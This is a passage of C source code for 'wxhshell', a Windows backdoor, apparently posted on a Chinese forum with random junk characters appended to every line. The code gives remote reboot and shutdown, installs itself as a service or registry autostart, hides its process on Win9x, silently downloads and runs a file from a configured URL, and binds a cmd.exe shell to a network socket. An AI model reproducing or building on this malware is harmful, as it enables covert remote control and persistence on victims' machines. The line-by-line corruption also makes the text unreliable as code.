  '}e_8 FS  
  // 帮助 m"<0sqD;  
  case '?': { >K1)XP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M9HM:  
    break; _,"T;i  
  } 'U.)f@L#w  
  // 安装 <w` R ;  
  case 'i': { Dz:A.x@$*  
    if(Install()) 21bvSK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aB0L]i  
    else _d 76jmujJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w&hgJ  
    break; VUxuX5B3M  
    } ZZ?0%9  
  // 卸载 tq H7M0Ry  
  case 'r': { __teh>MC  
    if(Uninstall()) ^Wo/vm*]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [5e}A&  
    else sI7d?+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iagl^(s  
    break; K PSFy<  
    } q.U` mtS  
  // 显示 wxhshell 所在路径 s]50Y-C  
  case 'p': { ~m8".Z"  
    char svExeFile[MAX_PATH]; 0f&B;?)!  
    strcpy(svExeFile,"\n\r"); .LhIB?  
      strcat(svExeFile,ExeFile); u)Y~+ [Q  
        send(wsh,svExeFile,strlen(svExeFile),0); O`Er*-O  
    break; %i{Z@  
    } U<gM gA  
  // 重启 @)1>ba  
  case 'b': { 4='Xhm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t'|A0r$  
    if(Boot(REBOOT)) &l"/G%W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jzI70+E  
    else { >!848J  
    closesocket(wsh); rn $a)^!  
    ExitThread(0); 7DDd 1"jE  
    } ?;zu>4f|  
    break; a\>+!Vq  
    } GPz0qK  
  // 关机 _v bCC7Bf8  
  case 'd': { Y<-h#_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FeoI+K A  
    if(Boot(SHUTDOWN)) c[J?`8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gI "ZhYI  
    else { 4l7TrCB  
    closesocket(wsh); bc=,$  
    ExitThread(0); :7UC=GKQk  
    } \@;$xdA$  
    break; CuC1s>  
    }  a?S5 =  
  // 获取shell E-IVv  
  case 's': { N;4bEcWjp  
    CmdShell(wsh); nF>41 K  
    closesocket(wsh); kH~ z07:  
    ExitThread(0); w=:o//~6j  
    break; k>E^FB=  
  } fb-Lp#!T39  
  // 退出 q;Tdqv!Ju  
  case 'x': { WD# 96V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |eykb?j`  
    CloseIt(wsh); uzg(C#sp  
    break; WJWi'|C4  
    } k-IL%+U  
  // 离开 .2"-N5Z  
  case 'q': { m:B9~ lbT+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E@ J/_l;  
    closesocket(wsh); M2H +1ic  
    WSACleanup(); uonCD8  
    exit(1); 60,z!Vv  
    break; T<yAfnTb`  
        } X-LCIT|1  
  } /By:S/[1pL  
  } |y9(qcKn$  
O+x"c3@Z)D  
  // 提示信息 $`j%z@[g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,1/O2aQ%\0  
} Zc9@G-  
  } oC ?UGY~xL  
\4Uhc3  
  return; |j$r@  
} 9d&@;&al  
^POHQQ  
// shell模块句柄 V%h,JA  
int CmdShell(SOCKET sock) p0*qv"lA  
{ ' ` _TFTO  
STARTUPINFO si; 4> k"$l/:  
ZeroMemory(&si,sizeof(si)); /T _{k.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L$L/5/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yPY}b_W  
PROCESS_INFORMATION ProcessInfo; `eZzYe(N  
char cmdline[]="cmd"; Y TpiOPf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PAng(tubl  
  return 0; 8tfM,.]_i  
} '41'Gn  
OQW%nF9~  
// 自身启动模式 Kzwbr?&z  
int StartFromService(void) a+'k#m  
{ n*A?>NV  
typedef struct a-e_q  
{ "I)/|x\G*  
  DWORD ExitStatus; V>Dqw!  
  DWORD PebBaseAddress; ^h\(j*/#X  
  DWORD AffinityMask; F m?j-'  
  DWORD BasePriority; b@QCdi,u  
  ULONG UniqueProcessId; <fHJ9(5$V  
  ULONG InheritedFromUniqueProcessId; e"oTlB  
}   PROCESS_BASIC_INFORMATION; /H4Z.|@  
/RVwhA+c  
PROCNTQSIP NtQueryInformationProcess; lfvt9!SJ+/  
'0-YFx'U0V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \SSHjONX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +*RaX (&  
mR|L'[l  
  HANDLE             hProcess; >$$z6A[  
  PROCESS_BASIC_INFORMATION pbi; ai%*s&0/Y  
"; 1@f"kw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P~ : N  
  if(NULL == hInst ) return 0; g(_xo\  
"QD>m7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "I3 #/~q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GCf,Gfmr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vA3wn><  
H;nEU@>"Z  
  if (!NtQueryInformationProcess) return 0; 'C4cS[1  
{FQ@eeU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @E 8P>kq  
  if(!hProcess) return 0; {N3&JL5\"E  
g.Tc>?~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JDJ"D\85  
TAxu]C$P  
  CloseHandle(hProcess); +m9ouF  
}!Y=SP1e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); AH{#RD  
if(hProcess==NULL) return 0; cY5w,.Q/!  
eFh7#~m  
HMODULE hMod; 6Hbu7r*tm  
char procName[255]; InI>So%e|<  
unsigned long cbNeeded; 3v@h&7<E  
WNY:HH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y2W|,=Vd  
Vwu dNjL  
  CloseHandle(hProcess); IM% ,A5u  
3k3 C\Cw  
if(strstr(procName,"services")) return 1; // 以服务启动 6r|=^3{  
W#)X@TlE  
  return 0; // 注册表启动 8.,d`~  
} 7nm'v'\u+V  
,,SV@y;  
// 主模块 V/3@iOwD  
int StartWxhshell(LPSTR lpCmdLine) 7u{V1_ n1  
{ qnCjNN  
  SOCKET wsl; WBD?|Ss  
BOOL val=TRUE; \TZSn1isZX  
  int port=0; e)= " Fq!  
  struct sockaddr_in door; !&xci})7a  
 qJ sH  
  if(wscfg.ws_autoins) Install(); U9ZuD40\  
It7R}0Smg  
port=atoi(lpCmdLine); tr5j<O  
SRtw  
if(port<=0) port=wscfg.ws_port; k".kbwcaF  
uNkJe  
  WSADATA data; lJ]]FuA-Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zYrJ Hn#vB  
qA;Gl"HF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uu9IUqEq2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0-~s0R89A  
  door.sin_family = AF_INET; =A!r ZG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )s,LFIy<A  
  door.sin_port = htons(port); Gx %=&O  
(dZ]j){  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RL:B.Lv/W  
closesocket(wsl); O6/:J#X%  
return 1; $ay!'MK0d  
} oYdE s&qq  
43x2BW&&  
  if(listen(wsl,2) == INVALID_SOCKET) { Lb)rloca  
closesocket(wsl); w3ATsIw  
return 1; _p>F43%p  
} O wuc9  
  Wxhshell(wsl); &r.M~k >  
  WSACleanup(); C{,^4Eh3r  
9dw* ++  
return 0; XUzOt_L5<  
p^|6 /b  
} cnS;9=,&  
|.,]0CRg  
// 以NT服务方式启动 Y)DAR83  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a2Nxpxho  
{ WW.@&#S5  
DWORD   status = 0; }toe'6  
  DWORD   specificError = 0xfffffff; y>.t[*zT  
;DSH$'1i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aZ$5"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y0.'u{J*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S2DG=hi`GK  
  serviceStatus.dwWin32ExitCode     = 0; ?m5E Xe  
  serviceStatus.dwServiceSpecificExitCode = 0; *L9v(Kc  
  serviceStatus.dwCheckPoint       = 0; Gbjh|j=  
  serviceStatus.dwWaitHint       = 0; B2oKvgw  
'da 'WZG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ' Ut4=@)  
  if (hServiceStatusHandle==0) return; ) [?xT  
,#FP]$FK  
status = GetLastError(); gyD;kn\CP  
  if (status!=NO_ERROR) i(pHJP:a:  
{ 2,dWD<h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $'I&u  
    serviceStatus.dwCheckPoint       = 0; D HT^.UM28  
    serviceStatus.dwWaitHint       = 0; /2zan}  
    serviceStatus.dwWin32ExitCode     = status; Pw| h`[h  
    serviceStatus.dwServiceSpecificExitCode = specificError; nj0sh"~+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l 9 wO x  
    return; $,2T~1tE  
  } PcEE`.  
Yb-{+H8{J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mE`qA*=?  
  serviceStatus.dwCheckPoint       = 0; SOq:!Qt  
  serviceStatus.dwWaitHint       = 0; b~}$Ch3ymW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |4g0@}nr+W  
} /W)A[jR  
}04mJY[  
// 处理NT服务事件,比如:启动、停止 ka!v(j{E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,5"(m?[m  
{ aUzCKX%>C  
switch(fdwControl) bq9w@O  
{ tH)j EY9  
case SERVICE_CONTROL_STOP: tnaFbmp  
  serviceStatus.dwWin32ExitCode = 0; iX6>u4~(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qw:!Rw,x  
  serviceStatus.dwCheckPoint   = 0; E0R6qS:'  
  serviceStatus.dwWaitHint     = 0; >> "gb/x,  
  { \?>M?6D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IC&P-X_aP  
  } ^e_LnJ+  
  return; i ? ~-%  
case SERVICE_CONTROL_PAUSE: n'v\2(&uYN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -z~!%4 a  
  break; iW^J>aKy  
case SERVICE_CONTROL_CONTINUE: dgF%&*Il]O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S@qR~_>a  
  break; E Izy  
case SERVICE_CONTROL_INTERROGATE: UPU$SZAIx  
  break; VJqk0w+  
}; itP`{[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jZzTnmm&?  
} ey=KAt  
N"G aQ  
// 标准应用程序主函数 !*}UP|8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /3,Lp-kp  
{ [K.1 X=O}  
Q}|K29Y:p  
// 获取操作系统版本 ,JE_aje7  
OsIsNt=GetOsVer(); Q0Ft.b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LXK!4(xaW  
8Rwk o6x  
  // 从命令行安装 u*G<?  
  if(strpbrk(lpCmdLine,"iI")) Install(); a&x:_vv  
)^ Y+Vn  
  // 下载执行文件 az6 &  
if(wscfg.ws_downexe) { R,G*]/r`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :R,M Y"(  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ha`N  
} nf/?7~3?[  
b/'c h  
if(!OsIsNt) { ZrTB%  
// 如果时win9x,隐藏进程并且设置为注册表启动 X+aQ 7^"s  
HideProc(); = 'NV3by  
StartWxhshell(lpCmdLine); hr}f5Z)^v  
} ^;RK-)  
else 80*hi)ux[  
  if(StartFromService()) b& +zAt.  
  // 以服务方式启动 \~l_w ,Poo  
  StartServiceCtrlDispatcher(DispatchTable); w!7ApEH1  
else @|SeabN^-  
  // 普通方式启动 t\K (zE  
  StartWxhshell(lpCmdLine); PlGif)  
 /ooGyF  
return 0; >\ Dy  
}
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只看该作者 1 发表于: 2006-10-10
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